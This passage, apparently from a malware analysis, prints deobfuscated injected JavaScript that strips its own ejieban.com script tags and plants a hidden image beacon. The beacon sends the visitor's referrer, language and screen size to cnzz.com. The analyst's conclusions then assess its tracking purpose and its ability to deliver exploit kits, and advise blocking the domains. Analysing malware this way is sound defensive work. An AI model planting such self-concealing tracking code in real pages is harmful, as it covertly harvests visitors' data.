var ss = head.getElementsByTagName('SCRIPT');
var re = new RegExp("//[^/]*\\.ejieban\\.com/", "i");
for (var i = (ss.length - 1); i >= 0; i--) {
if (re.test(ss[i].src)) {
head.removeChild(ss[i])
}
}
};
_c1oud3r.stat = function(id, r) {
var l = _c1oud3r.pt + "hzs11.cnzz.com/stat.htm?id=";
l += id + "&r=" + encodeURIComponent(r) + "&lg=";
var f = window;
var lg = f.navigator.systemLanguage || f.navigator.language;
l += lg.toLowerCase() + "&ntime=none&repeatip=0&rtime=0&cnzz_eid=";
l += Math.floor(2147483648 * Math.random()) + "-1395926171-";
var sp = f.screen.width && f.screen.height ? f.screen.width + "x" + f.screen.height : "0x0";
l += "&showp=" + sp + "&st=0&sin=&t=&rnd=" + Math.floor(2147483648 * Math.random());
return l
};
_c1oud3r.oload = function() {
if (document.body == null) {
setTimeout(_c1oud3r.oload, 200)
} else {
var str = '<img src="' + _c1oud3r.stat("1568238", document.referrer) + '" width="0" height="0"/>';
_c1oud3r.appendChild(str, "_cl3r");
_c1oud3r.removeScript();
setTimeout("_c1oud3r.removeNode('_cl3r')", 2000)
}
};
try {
if ("complete" == document.readyState) {
_c1oud3r.oload()
} else {
if (document.attachEvent) {
window.attachEvent("onload", _c1oud3r.oload)
} else {
window.addEventListener("load", _c1oud3r.oload, false)
}
}
} catch (e) {}
}
Conclusions
This piece of malware does not appear to attempt privilege escalation or PE payload download (ala Neutrino EK). Its primary purpose appears to be tracking via cnzz.com
and ejieban.com
using <script>
, <img>
, Flash <object>
injection.
It’s important to note that since it has the ability to inject arbitrary Flash and JavaScript data, it can deliver EKs or other malware. The tracking functionality could theoretically be used to target very specific clients by country, IP range or any of the other meta data it collects.
It’s probably a good idea to block the domains above.